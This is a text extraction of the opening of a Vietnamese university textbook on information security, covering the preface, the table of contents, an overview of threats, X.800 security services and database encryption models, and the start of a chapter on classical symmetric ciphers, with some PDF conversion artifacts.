Giaotrinh Antoanthongtin_TiengViet

147
  - 1 - TR ƯỜ NG ĐẠI HC KINH T K  THUT CÔNG NGHIP KHOA CÔNG NGH THÔNG TIN B MÔN K  THUT MÁY TÍNH GIÁO TRÌNH AN TOÀN VÀ B O MT THÔNG TIN Hà ni 8-2010

Transcript of Giaotrinh Antoanthongtin_TiengViet

Page 1: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 1/147

 - 1 -

TR ƯỜ NG ĐẠI HỌC KINH TẾ K Ỹ THUẬT CÔNG NGHIỆP

KHOA CÔNG NGHỆ THÔNG TIN

BỘ MÔN K Ỹ THUẬT MÁY TÍNH

GIÁO TRÌNH

AN TOÀN VÀ BẢO MẬT THÔNG TIN

Hà nội 8-2010

Page 2: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 2/147

 - 2 -

Mở  đầu

Gần đây, môn học “An toàn và bảo mật thông tin” đã đượ c đưa vào giảng dạy tạihầu hết các Khoa Công nghệ Thông tin của các tr ườ ng đại học và cao đẳng. Do các ứng

dụng trên mạng Internet ngày các phát triển và mở r ộng, nên an toàn thông tin trên mạng

đã tr ở thành nhu cầu bắt buộc cho mọi hệ thống ứng dụng. Để đáp ứng yêu cầu học tậ p và

tự tìm hiểu của sinh viên các chuyên ngành Công nghệ Thông tin, Bộ môn Khoa học máy

tính, Khoa Công nghệ Thông tin đã tổ chức biên soạn giáo trình này. Nội dung của nó

đượ c dựa trên một số tài liệu, nhưng chủ yếu là cuốn sách của Giáo sư William Stallings

“Cryptography and Network Security: Principles and Practice”. Cuốn sách trên đã đượ c

dùng làm tài liệu giảng dạy tại nhiều tr ườ ng đại học. Đồng thờ i giáo trình này cũng đượ c

hoàn thiện từng bướ c dựa trên bài giảng của tác giả cho 4 khóa sinh viên Khoa Công

nghệ Thông tin vừa qua. Vớ i mục đích trang bị các kiến thức cơ sở vừa đủ và giúp cho

sinh viên hiểu đượ c bản chất của các khía cạnh an ninh trên mạng, trong giáo trình tác giả 

đã cố gắng trình bày tóm tắt các phần lý thuyết cơ bản và đưa ra các ứng dụng thực tế.

Giáo trình gồm 8 chươ ng. Chươ ng đầu nêu tổng quan về bảo mật, chươ ng 2 tóm

tắt sơ lượ c về mã cổ điển, chươ ng 3 trình bày những khái niệm cơ bản về tr ườ ng số học,

chươ ng 4 giớ i thiệu về mã khối và chuẩn mã dữ liệu, chươ ng 5 nêu về mã công khai và

RSA, chươ ng 6 đưa ra khái niệm xác thực và hàm băm, chươ ng 7 giớ i thiệu ứng dụng về 

an toàn Web và IP và cuối cùng chươ ng 8 tóm tắt về k ẻ xâm nhậ p và biện pháp phòng

chống bức tườ ng lửa.

Do lần đầu biên soạn và chưa có nhiều kinh nghiệm thực tế, nên không tránh khỏi

những sai sót và lỗi in ấn nhất định. Tác giả xin vui lòng tiế p nhận mọi sự đóng góp giúp

cho giáo trình “An toàn và bảo mật thông tin” ngày càng tốt hơ n.

Page 3: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 3/147

 - 3 -

MỤC LỤC

MỞ ĐẦU .............................................................................................................................2

CHƯƠ NG I TỔ NG QUAN VỀ BẢO MẬT..........................................................................5

I.1. Giớ i thiệu chung về bảo mật thông tin................................................................5

I.2. Dịch vụ, cơ chế, tấn công....................................................................................7

I.3. Mô hình an toàn mạng.........................................................................................8

I.4. Bảo mật thông tin trong hệ cơ sở dữ liệu ..........................................................10

CHƯƠ  NG II MÃ CỔ ĐIỂ  N .............................................................................................14

II.1. Mã đối xứng ...................................................................................................... 14

II.2. Các mã cổ điển thay thế ....................................................................................17

II.3. Các mã cổ điển hoán vị ...................................................................................103II.4. Các vấn đề khác...............................................................................................103

CHƯƠ NG III TR ƯỜ NG SỐ HỌC .....................................................................................27

III.1. Các cấu trúc đại số ...........................................................................................27

III.2. Các phép toán trên Modulo ...............................................................................28

III.3. Tr ườ ng Galoa .................................................................................................... 31

III.4. Giớ i thiệu lý thuyết số ......................................................................................36

CHƯƠ NG IV MÃ KHỐI VÀ CHUÂN MÃ DỮ LIỆU......................................................43IV.1. Mã khối hiện đại................................................................................................43

IV.2. Chuẩn mã dữ liệu DES .....................................................................................45

IV.3. Chuẩn mã nâng cao AES...................................................................................55

IV.4. Các mã đối xứng đươ ng thờ i ............................................................................62 

IV.5. Bảo mật dùng mã đối xứng ...............................................................................67

CHƯƠ NG V KHOÁ CÔNG KHAI VÀ RSA ....................................................................71

V.1 Mã công khai .................................................................................................... 71

V.2 RSA .................................................................................................................. 73

V.3 Quản lý khoá ....................................................................................................77

V.4 Phân phối khoá Diffie-Helman .........................................................................80 

V.5 Mã đườ ng cong Elip..........................................................................................81

CHƯƠ NG VI XÁC THỰ C MẨU TIN VÀ CÁC HÀM HASH ........................................ 86

Page 4: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 4/147

 - 4 -

VI.1 Xác thực mẩu tin ............................................................................................. 86

VI.2 Các hàm HASH................................................................................................. 88 

VI.3 Các thuật toán HASH và MAC.........................................................................90

VI.4 Các ứng dụng xác thực ...................................................................................100  

CHƯƠ NG VII AN TOÀN IP VÀ WEB............................................................................106

VII.1 An toàn IP ...................................................................................................... 106

VII.2 An toàn Web.................................................................................................... 108 

VII.3 Thanh toán điện tử an toàn..............................................................................112

VII.4 An toàn thư điện tử.........................................................................................11 5

CHƯƠ NG VIII K Ẻ XÂM NHẬP VÀ BỨ C TƯỜ NG LỬ A ............................................120

VIII.1 K ẻ xâm nhậ  p .................................................................................................120

VIII.2 Phần mềm có hại ............................................................................................. 123 VIII.3 Tràn bộ đệm ...................................................................................................128 

VIII.4 Bức tườ ng lửa..................................................................................................134

DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT.....................................................142  

Phụ lục .........................................................................................................................145 

Page 5: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 5/147

 - 5 -

CHƯƠ NG I

TỔNG QUAN VỀ BẢO MẬT

I.1 Giớ i thiệu chung về bảo mật thông tin

I.1.1 Mở  đầu về bảo mật thông tin

 Ngày nay vớ i sự phát triển bùng nổ của công nghệ thông tin, hầu hết các thông tin củadoanh nghiệ p như chiến lượ c kinh doanh, các thông tin về khách hàng, nhà cung cấ p, tàichính, mức lươ ng nhân viên,…đều đượ c lưu tr ữ trên hệ thống máy tính. Cùng vớ i sự pháttriển của doanh nghiệ p là những đòi hỏi ngày càng cao của môi tr ườ ng kinh doanh yêucầu doanh nghiệ p cần phải chia sẻ thông tin của mình cho nhiều đối tượ ng khác nhau quaInternet hay Intranet. Việc mất mát, rò r ỉ thông tin có thể ảnh hưở ng nghiêm tr ọng đến tàichính, danh tiếng của công ty và quan hệ vớ i khách hàng.Các phươ ng thức tấn công thông qua mạng ngày càng tinh vi, phức tạ p có thể dẫn đến

mất mát thông tin, thậm chí có thể làm sụ p đổ hoàn toàn hệ thống thông tin của doanhnghiệ p. Vì vậy an toàn và bảo mật thông tin là nhiệm vụ r ất nặng nề và khó đoán tr ướ cđượ c, nhưng tựu trung lại gồm ba hướ ng chính sau:

-  Bảo đảm an toàn thông tin tại máy chủ -  Bảo đảm an toàn cho phía máy tr ạm-  Bảo mật thông tin trên đườ ng truyền

Đứng tr ướ c yêu cầu bảo mật thông tin, ngoài việc xây dựng các phươ ng thức bảo mậtthông tin thì ngườ i ta đã đưa ra các nguyên tắc về bảo vệ dữ liệu như sau:

-   Nguyên tắc hợ  p pháp trong lúc thu thậ p và xử lý dữ liệu.-   Nguyên tắc đúng đắn.-   Nguyên tắc phù hợ  p vớ i mục đích.-   Nguyên tắc cân xứng.-   Nguyên tắc minh bạch.-   Nguyên tắc đượ c cùng quyết định cho từng cá nhân và bảo đảm quyền truy cậ p

cho ngườ i có liên quan.-   Nguyên tắc không phân biệt đối xử.-   Nguyên tắc an toàn.-   Nguyên tắc có trách niệm tr ướ c pháp luật.-   Nguyên tắc giám sát độc lậ p và hình phạt theo pháp luật.-   Nguyên tắc mức bảo vệ tươ ng ứng trong vận chuyển dữ liệu xuyên biên giớ i.

Ở đây chúng ta sẽ tậ p trung xem xét các nhu cầu an ninh và đề ra các biện pháp an toàncũng như vận hành các cơ chế để đạt đượ c các mục tiêu đó.

Nhu cầu an toàn thông tin:•  An toàn thông tin đã thay đổi r ất nhiều trong thờ i gian gần đây. Tr ướ c kia hầu như 

chỉ có nhu cầu bảo mật thông tin, nay đòi hỏi thêm nhiều yêu cầu mớ i như an ninhmáy chủ và trên mạng.

•  Các phươ ng pháp truyền thống đượ c cung cấ p bở i các cơ  chế hành chính và phươ ng tiện vật lý như nơ i lưu tr ữ bảo vệ các tài liệu quan tr ọng và cung cấ p giấy phép đượ c quyền sử dụng các tài liệu mật đó.

Page 6: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 6/147

 - 6 -

•  Máy tính đòi hỏi các phươ ng pháp tự động để bảo vệ các tệ p và các thông tin lưutr ữ. Nhu cầu bảo mật r ất lớ n và r ất đa dạng, có mặt khắ p mọi nơ i, mọi lúc. Do đókhông thể không đề ra các qui trình tự động hỗ tr ợ bảo đảm an toàn thông tin.

•  Việc sử dụng mạng và truyền thông đòi hỏi phải có các phươ ng tiện bảo vệ dữ liệu khi truyền. Trong đó có cả các phươ ng tiện phần mềm và phần cứng, đòi hỏi

có những nghiên cứu mớ i đáp ứng các bài toán thực tiễn đặt ra.

Các khái niệm:•  An toàn máy tính: tậ p hợ  p các công cụ đượ c thiết k ế để bảo vệ dữ liệu và chống

hacker.•  An toàn mạng: các phươ ng tiện bảo vệ dữ liệu khi truyền chúng.•  An toàn Internet: các phươ ng tiện bảo vệ dữ liệu khi truyền chúng trên tậ p các

mạng liên k ết vớ i nhau.

Mục đích của môn học là tậ p trung vào an toàn Internet gồm các phươ ng tiện để bảo vệ,chống, phát hiện, và hiệu chỉnh các phá hoại an toàn khi truyền và lưu tr ữ thông tin.

I.1.2 Nguy cơ và hiểm họa đối vớ i hệ thống thông tin

Các hiểm họa đối vớ i hệ thống có thể đượ c phân loại thành hiểm họa vô tình hay cố ý,chủ động hay thụ động.

-  Hiểm họa vô tình: khi ngườ i dùng khở i động lại hệ thống ở chế độ đặc quyền, họ có thể tùy ý chỉnh sửa hệ thống. Nhưng sau khi hoàn thành công việc họ khôngchuyển hệ thống sang chế độ thông thườ ng, vô tình để k ẻ xấu lợ i dụng.

-  Hiểm họa cố ý: như cố tình truy nhậ p hệ thống trái phép.-  Hiểm họa thụ động: là hiểm họa nhưng chưa hoặc không tác động tr ực tiế p lên hệ 

thống, như nghe tr ộm các gói tin trên đườ ng truyền.-  Hiểm họa chủ động: là việc sửa đổi thông tin, thay đổi tình tr ạng hoặc hoạt động

của hệ thống.Đối vớ i mỗi hệ thống thông tin mối đe dọa và hậu quả tiềm ẩn là r ất lớ n, nó có thể xuất phát từ những nguyên nhân như sau:

-  Từ phía ngườ i sử dụng: xâm nhậ p bất hợ  p pháp, ăn cắ p tài sản có giá tr ị -  Trong kiến trúc hệ thống thông tin: tổ chức hệ thống k ỹ thuật không có cấu trúc

hoặc không đủ mạnh để bảo vệ thông tin.-   Ngay trong chính sách bảo mật an toàn thông tin: không chấ p hành các chuẩn an

toàn, không xác định rõ các quyền trong vận hành hệ thống.-  Thông tin trong hệ thống máy tính cũng sẽ dễ bị xâm nhậ p nếu không có công cụ 

quản lý, kiểm tra và điều khiển hệ thống.-   Nguy cơ nằm ngay trong cấu trúc phần cứng của các thiết bị tin học và trong phần

mềm hệ thống và ứng dụng do hãng sản xuất cài sẵn các loại 'r ệ p' điện tử theo ýđồ định tr ướ c, gọi là 'bom điện tử'.

-   Nguy hiểm nhất đối vớ i mạng máy tính mở là tin tặc, từ phía bọn tội phạm.

I.1.3 Phân loại tấn công phá hoại an toàn:

Page 7: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 7/147

 - 7 -

Các hệ thống trên mạng có thể là đối tượ ng của nhiều kiểu tấn công:-  Tấn công giả mạo là một thực thể tấn công giả danh một thực thể khác. Tấn công

giả mạo thườ ng đượ c k ết hợ  p vớ i các dạng tấn công khác như tấn công chuyểntiế p và tấn công sửa đổi thông báo.

-  Tấn công chuyển tiế p xảy ra khi một thông báo, hoặc một phần thông báo đượ cgửi nhiều lần, gây ra các tác động tiêu cực.

-  Tấn công sửa đổi thông báo xảy ra khi nội dung của một thông báo bị sửa đổinhưng không bị phát hiện.

-  Tấn công từ chối dịch vụ xảy ra khi một thực thể không thực hiện chức năng củamình, gây cản tr ở cho các thực thể khác thực hiện chức năng của chúng.

-  Tấn công từ bên trong hệ thống xảy ra khi ngườ i dùng hợ  p pháp cố tình hoặc vô ýcan thiệ p hệ thống trái phép. Còn tấn công từ bên ngoài là nghe tr ộm, thu chặn,giả mạo ngườ i dùng hợ  p pháp và vượ t quyền hoặc lách qua các cơ chế kiểm soát

truy nhậ p.•  Tấn công bị động. Do thám, theo dõi đườ ng truyền để:

o  nhận đượ c nội dung bản tin hoặco  theo dõi luồng truyền tin

•  Tấn công chủ động. Thay đổi luồng dữ liệu để:o  giả mạo một ngườ i nào đó.o  lặ p lại bản tin tr ướ co  thay đổi ban tin khi truyềno  từ chối dịch vụ.

I.2 Dịch vụ, cơ chế, tấn công.

 Nhu cầu thực tiến dẫn đến sự cần thiết có một phươ ng pháp hệ thống xác định các yêucầu an ninh của tổ chức. Trong đó cần có tiế p cận tổng thể xét cả ba khía cạnh của antoàn thông tin: bảo vệ tấn công, cơ chế an toàn và dịch vụ an toàn.Sau đây chúng ta xét chúng theo trình tự ngượ c lại:

Page 8: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 8/147

 - 8 -

I.2.1 Các dịch vụ an toàn.

Đây là công cụ đảm bảo an toàn của hệ thống xử lý thông tin và truyền thông tin trong tổ chức. Chúng đượ c thiết lậ p để chống lại các tấn công phá hoại. Có thể dùng một haynhiều cơ chế an toàn để cung cấ p dịch vụ.Thông thườ ng ngườ i ta cần phải tạo ra các liên k ết vớ i các tài liệu vật lý: như có chữ ký,

ngày tháng, bảo vệ cần thiết chống khám phá, sửa bậy, phá hoại, đượ c công chứng, chứngkiến, đượ c ghi nhận hoặc có bản quyền.

I.2.2 Các cơ chế an toàn:

Từ các công việc thực tế để chống lại các phá hoại an ninh, ngườ i ta đã hệ thống và sắ pxế p lại tạo thành các cơ chế an ninh khác nhau. Đây là cơ chế đượ c thiết k ế để phát hiện, bảo vệ hoặc khôi phục do tấn công phá hoại.Không có cơ chế đơ n lẻ nào đáp ứng đượ c mọi chức năng yêu cầu của công tác an ninh.Tuy nhiên có một thành phần đặc biệt nằm trong mọi cơ chế an toàn đó là: k ỹ thuật mãhoá. Do đó chúng ta sẽ dành một thờ i lượ ng nhất định tậ p trung vào lý thuyết mã.

I.2.3 Tấn công phá hoại an ninh:Ta xác định rõ thế nào là các hành động tấn công phá họai an ninh. Đó là mọi hành độngchống lại sự an toàn thông tin của các tổ chức.An toàn thông tin là bàn về bằng cách nào chống lại tấn công vào hệ thống thông tin hoặc  phát hiện ra chúng. Trên thực tế có r ất nhiều cách và nhiều kiểu tấn công khác nhau.Thườ ng thuật ngữ đe doạ và tấn công đượ c dùng như nhau. Cần tậ p trung chống một số kiểu tấn công chính: thụ động và chủ động.

I.3 Mô hình an toàn mạng

I.3.1 Kiến trúc an toàn của hệ thống truyền thông mở OSI.

Để giúp cho việc hoạch định chính sách và xây dựng hệ thống an ninh tốt. Bộ phận chuẩnhóa tiêu chuẩn của tổ chức truyền thông quốc tế (International Telecommunication

Page 9: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 9/147

 - 9 -

Union) đã nghiên cứu và đề ra Kiến trúc an ninh X800 dành cho hệ thống trao đổi thôngtin mở OSI. Trong đó định ngh ĩ a một cách hệ thống phươ ng pháp xác định và cung cấ pcác yêu cầu an toàn.Nó cung cấ p cho chúng ta một cách nhìn tổng quát, hữu ích về cáckhái niệm mà chúng ta nghiên cứu.

Tr ướ c hết nói về dich vụ an toàn, X800 định ngh ĩ a đây là dịch vụ cung cấ p cho tầng

giao thức của các hệ thống mở  trao đổi thông tin, mà đảm bảo an toàn thông tin cầnthiết cho hệ thống và cho việc truyền dữ liệu.Trong tài liệu các thuật ngữ chuẩn trên Internet RFC 2828 đã nêu định ngh ĩ a cụ thể hơ n dich vụ an toàn là dịch vụ trao đổi và xử lý cung cấ p cho hệ thống việc bảo vệ đặc biệt cho các thông tin nguồn.Tài liệu X800 đưa ra định ngh ĩ a dịch vụ theo 5 loạichính:

- Xác thực: tin tưở ng là thực thể trao đổi đúng là cái đã tuyên bố. Ngườ i đang traođổi xưng tên vớ i mình đúng là anh ta, không cho phép ngườ i khác mạo danh.- Quyền truy cậ  p: ngăn cấm việc sử dụng nguồn thông tin không đúng vai trò.Mỗi đối tượ ng trong hệ thống đượ c cung cấ p các quyền hạn nhất định và chỉ đượ chành động trong khuôn khổ các quyền hạn đó.

- Bảo mật dữ liệu: bảo vệ dữ liệu không bị khám phá bở i ngườ i không có quyền.Chẳng hạn như dùng các ký hiệu khác để thay thế các ký hiệu trong bản tin, màchỉ ngườ i có bản quyền mớ i có thể khôi phục nguyên bản của nó.- Toàn vẹn dữ liệu: tin tưở ng là dữ liệu đượ c gửi từ ngườ i có quyền. Nếu có thayđổi như làm trì hoãn về mặt thờ i gian hay sửa đổi thông tin, thì xác thực sẽ chocách kiểm tra nhận biết là có các hiện tượ ng đó đã xảy ra.- Không từ chối: chống lại việc chối bỏ của một trong các bên tham gia trao đổi. Ngườ i gửi cũng không tr ối bỏ là mình đã gửi thông tin vớ i nội dung như vậy vàngườ i nhận không thể nói dối là tôi chưa nhận đượ c thông tin đó. Điều này là r ấtcần thiết trong việc trao đổi, thỏa thuận thông tin hàng ngày.

Cơ chế an toàn đượ c định ngh ĩ a trong X800 như sau:

- Cơ chế an toàn chuyên dụng đượ c cài đặt trong một giao thức của một tầng vậnchuyển nào đó: mã hoá, chữ ký điện tử, quyền truy cậ p, toàn vẹn dữ liệu, trao đổicó phép, đệm truyền, kiểm soát định hướ ng, công chứng.- Cơ chế an toàn phổ dụng không chỉ rõ đượ c dùng cho giao thức trên tầng nàohoặc dịch vụ an ninh cụ thể nào: chức năng tin cậy cho một tiêu chuẩn nào đó,nhãn an toàn chứng tỏ đối tượ ng có tính chất nhất định, phát hiện sự kiện, vết theodõi an toàn, khôi phục an toàn.

I.3.2 Mô hình an toàn mạng tổng quát

Sử dụng mô hình trên đòi hỏi chúng ta phải thiết k ế:o  thuật toán phù hợ  p cho việc truyền an toàn.

o  Phát sinh các thông tin mật (khoá) đượ c sử dụng bở i các thuật toán.o  Phát triển các phươ ng pháp phân phối và chia sẻ các thông tin mật.o  đặc tả giao thức cho các bên để sử dụng việc truyền và thông tin mật cho

các dịch vụ an toàn.

Mô hình truy cập mạng an toàn:

Page 10: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 10/147

 - 10 -

Sử dụng mô hình trên đòi hỏi chúng ta phải:o  Lựa chọn hàm canh cổng phù hợ  p cho ngườ i sử dụng có danh tính.o  Cài đặt kiểm soát quyền truy cậ p để tin tưở ng r ằng chỉ có ngườ i có quyền

mớ i truy cậ p đượ c thông tin đích hoặc nguồn.o  Các hệ thống máy tính tin cậy có thể dùng mô hình này.

I.4 Bảo mật thông tin trong hệ cơ sở dữ liệu

I.4.1 Giớ i thiệu chung

Các hệ cơ  sở dữ liệu (CSDL) ngày nay như Oracle, SQL/Server, DB2/Informix đều có

sẵn các công cụ bảo vệ tiêu chuẩn như hệ thống định danh và kiểm soát truy xuất. Tuynhiên, các biện pháp bảo vệ này hầu như không có tác dụng tr ướ c các tấn công từ bêntrong. Để bảo vệ thông tin khỏi mối đe dọa này, ngườ i ta đưa ra hai giải pháp.Giải pháp đơ n giản nhất bảo vệ dữ liệu trong CSDL ở mức độ tậ p tin, chống lại sự truycậ  p trái phép vào các tậ p tin CSDL bằng hình thức mã hóa. Tuy nhiên, giải pháp nàykhông cung cấ p mức độ bảo mật truy cậ p đến CSDL ở mức độ bảng, cột và dòng. Mộtđiểm yếu nữa của giải pháp này là bất cứ ai vớ i quyền truy xuất CSDL đều có thể truy

Page 11: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 11/147

 - 11 -

cậ p vào tất cả dữ liệu trong CSDL cũng có ngh ĩ a là cho phép các đối tượ ng vớ i quyềnquản tr ị truy cậ p tất cả các dữ liệu nhạy cảm.Giải pháp thứ hai, giải quyết vấn đề mã hóa ở mức ứng dụng. Giải pháp này xử lý mã hóadữ liệu tr ướ c khi truyền dữ liệu vào CSDL. Những vấn đề về quản lý khóa và quyền truycậ p đượ c hỗ tr ợ bở i ứng dụng. Truy vấn dữ liệu đến CSDL sẽ tr ả k ết quả dữ liệu ở dạng

mã hóa và dữ liệu này sẽ đượ c giải mã bở i ứng dụng. Giải pháp này giải quyết đượ c vấnđề phân tách quyền an toàn và hỗ tr ợ các chính sách an toàn dựa trên vai trò.

I.4.2 Một số mô hình bảo mật cơ sở dữ liệu

Để đáp ứng những yêu cầu về bảo mật cho các hệ thống CSDL hiện tại và sau này ngườ ita đưa ra 2 mô hình bảo mật CSDL thông thườ ng sau đây

 Xây d ự ng t ầng CSDL trung gian:

Một CSDL trung gian đượ c xây dựng giữa ứng dụng và CSDL gốc. CSDL trung gian nàycó vai trò mã hóa dữ liệu tr ướ c khi cậ p nhật vào CSDL gốc, đồng thờ i giải mã dữ liệu

tr ướ c khi cung cấ p cho ứng dụng. CSDL trung gian đồng thờ i cung cấ p thêm các chứcnăng quản lý khóa, xác thực ngườ i dùng và cấ p phép truy cậ p.Giải pháp này cho phép tạo thêm nhiều chức năng về bảo mật cho CSDL. Tuy nhiên, môhình CSDL trung gian đòi hỏi xây dựng một ứng dụng CSDL tái tạo tất cả các chức năngcủa CSDL gốc.

Mô hình trung gian

 S ử d ụng cơ chế sẵ n có trong CSDL

Mô hình này giải quyết các vấn đề mã hóa cột dựa trên các cơ chế sau:a. Các hàm Stored Procedure trong CSDL cho chức năng mã hóa và giải mã b. Sử dụng cơ chế View trong CSDL tạo các bảng ảo, thay thế các bảng thật đã đượ c mãhóa.c. Cơ chế “instead of” trigger đượ c sử dụng nhằm tự động hóa quá trình mã hóa từ Viewđến bảng gốc.

Page 12: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 12/147

 - 12 -

Trong mô hình này, dữ liệu trong các bảng gốc sẽ đượ c mã hóa, tên của bảng gốc đượ cthay đổi. Một bảng ảo đượ c tạo ra mang tên của bảng gốc, ứng dụng sẽ truy cậ p đến bảngảo này.Truy xuất dữ liệu trong mô hình này có thể đượ c tóm tắt như sau:

Mô hình bảng ảo

Các truy xuất dữ liệu đến bảng gốc sẽ  đượ c thay thế bằng truy xuất đến bảng ảo.Bảng ảo đượ c tạo ra để mô phỏng dữ liệu trong bảng gốc. Khi thực thi lệnh “select”, dữ liệu sẽ đượ c giải mã cho bảng ảo từ bảng gốc (đã đượ c mã hóa). Khi thực thi lệnh “Insert,Update”, “instead of” trigger sẽ đượ c thi hành và mã hóa dữ liệu xuống bảng gốc.Quản lý phân quyền truy cậ p đến các cột sẽ đượ c quản lý ở các bảng ảo. Ngoài các quyền

cơ bản do CSDL cung cấ p, hai quyền truy cậ p mớ i đượ c định ngh ĩ a:1. Ngườ i sử dụng chỉ đượ c quyền đọc dữ liệu ở dạng mã hóa. Quyền này phù hợ  p vớ inhững đối tượ ng cần quản lý CSDL mà không cần đọc nội dung dữ liệu.2. Ngườ i sử dụng đượ c quyền đọc dữ liệu ở dạng giải mã.

I.4.3 Sơ lượ c kiến trúc của 1 hệ bảo mật CSDL

Triggers: các trigger đượ c sử dụng để lấy dữ liệu đến từ các câu lệnh INSERT, UPDATE(để mã hóa).Views: các view đượ c sử dụng để lấy dữ liệu đến từ các câu lệnh SELECT (để giải mã).Extended Stored Procedures: đượ c gọi từ các Trigger hoặc View dùng để kích hoạt các

dịch vụ đượ c cung cấ p bở i Modulo DBPEM từ trong môi tr ườ ng của hệ quản tri CSDL.DBPEM (Database Policy Enforcing Modulo): cung cấ p các dịch vụ mã hóa/giải mã dữ liệu gửi đến từ các Extended Stored Procedures và thực hiện việc kiểm tra quyền truyxuất của ngườ i dùng (dựa trên các chính sách bảo mật đượ c lưu tr ữ trong CSDL về quyền bảo mật).

Page 13: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 13/147

 - 13 -

Kiến trúc một hệ bảo mật CSDL

Security Database: lưu tr ữ các chính sách bảo mật và các khóa giải mã. Xu hướ ng ngàynay thườ ng là lưu tr ữ CSDL về bảo mật này trong Active Directory (một CSDL dạng thư mục để lưu tr ữ tất cả thông tin về hệ thống mạng).Security Services: chủ yếu thực hiện việc bảo vệ các khóa giải mã đượ c lưu trong CSDL bảo mật.Management Console: dùng để cậ p nhật thông tin lưu trong CSDL bảo mật (chủ yếu làsoạn thảo các chính sách bảo mật) và thực hiện thao tác bảo vệ một tr ườ ng nào đó trongCSDL để đảm bảo tối đa tính bảo mật, thông tin đượ c trao đổi.

Page 14: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 14/147

 - 14 -

CHƯƠ NG II

MÃ CỔ ĐIỂN

Mã hoá cổ điển là phươ ng pháp mã hoá đơ n giản nhất xuất hiện đầu tiên trong lịch sử 

ngành mã hoá. Thuật toán đơ n giản và dễ hiểu. Những phươ ng pháp mã hoá này là cở sở  cho việc nghiên cứu và phát triển thuật toán mã hoá đối xứng đượ c sử dụng ngày nay.Trong mã hoá cổ điển có hai phươ ng pháp nổi bật đó là:

-  Mã hoá thay thế -  Mã hoá hoán vị 

Mọi mã cổ điển đều là mã đối xứng mà chúng ta sẽ xét trong phần sau.

II.1 Mã đối xứ ng.II.1.1 Các khái niệm cơ bảnMật mã đối xứng sử dụng cùng một khóa cho việc mã hóa và giải mã. Có thể nói mã đốixứng là mã một khoá hay mã khóa riêng hay mã khoá thỏa thuận.

Ở đây ngườ i gửi và ngườ i nhận chia sẻ khoá chung K, mà họ có thể trao đổi bí mật vớ inhau. Ta xét hai hàm ngượ c nhau: E là hàm biến đổi bản rõ thành bản mã và D là hàm biến đổi bản mã tr ở về bản rõ. Giả sử X là văn bản cần mã hóa và Y là dạng văn bản đãđượ c thay đổi qua việc mã hóa. Khi đó ta ký hiệu:

Y = EK (X )

X = DK (Y )

Mọi thuật toán mã cổ điển đều là mã khoá đối xứng, vì ở  đó thông tin về khóa đượ c chiasẻ giữa ngườ i gửi và ngườ i nhận. Mã đối xứng là kiểu duy nhất tr ướ c khi phát minh rakhoá mã công khai (còn đượ c gọi là mã không đối xứng) vào những năm 1970. Hiện naycác mã đối xứng và công khai tiế p tục phát triển và hoàn thiện. Mã công khai ra đờ i hỗ tr ợ mã đối xứng chứ không thay thế nó, do đó mã đối xứng đến nay vẫn đượ c sử dụngr ộng rãi.

Sau đây ta đưa ra định ngh ĩ a một số khái niệm cơ bản về mã hóa.1.  Bản rõ X đượ c gọi là là bản tin gốc. Bản rõ có thể đượ c chia nhỏ có kích thướ c

 phù hợ  p.2.  Bản mã Y là bản tin gốc đã đượ c mã hoá. Ở đây ta thườ ng xét phươ ng pháp mã

hóa mà không làm thay đổi kích thướ c của bản rõ, tức là chúng có cùng độ dài.3.  Mã là thuật toán E chuyển bản rõ thành bản mã. Thông thườ ng chúng ta cần thuật

toán mã hóa mạnh, cho dù k ẻ thù biết đượ c thuật toán, nhưng không biết thông tinvề khóa cũng không tìm đượ c bản rõ.

4.  Khoá K là thông tin tham số dùng để mã hoá, chỉ có ngườ i gửi và nguờ i nhận biết. Khóa là độc lậ p vớ i bản rõ và có độ dài phù hợ  p vớ i yêu cầu bảo mật.

5.  Mã hoá là quá trình chuyển bản rõ thành bản mã, thông thườ ng bao gồm việc ápdụng thuật toán mã hóa và một số quá trình xử lý thông tin kèm theo.

6.  Giải mã chuyển bản mã thành bản rõ, đây là quá trình ngượ c lại của mã hóa.7.  Mật mã là chuyên ngành khoa học của Khoa học máy tính nghiên cứu về các

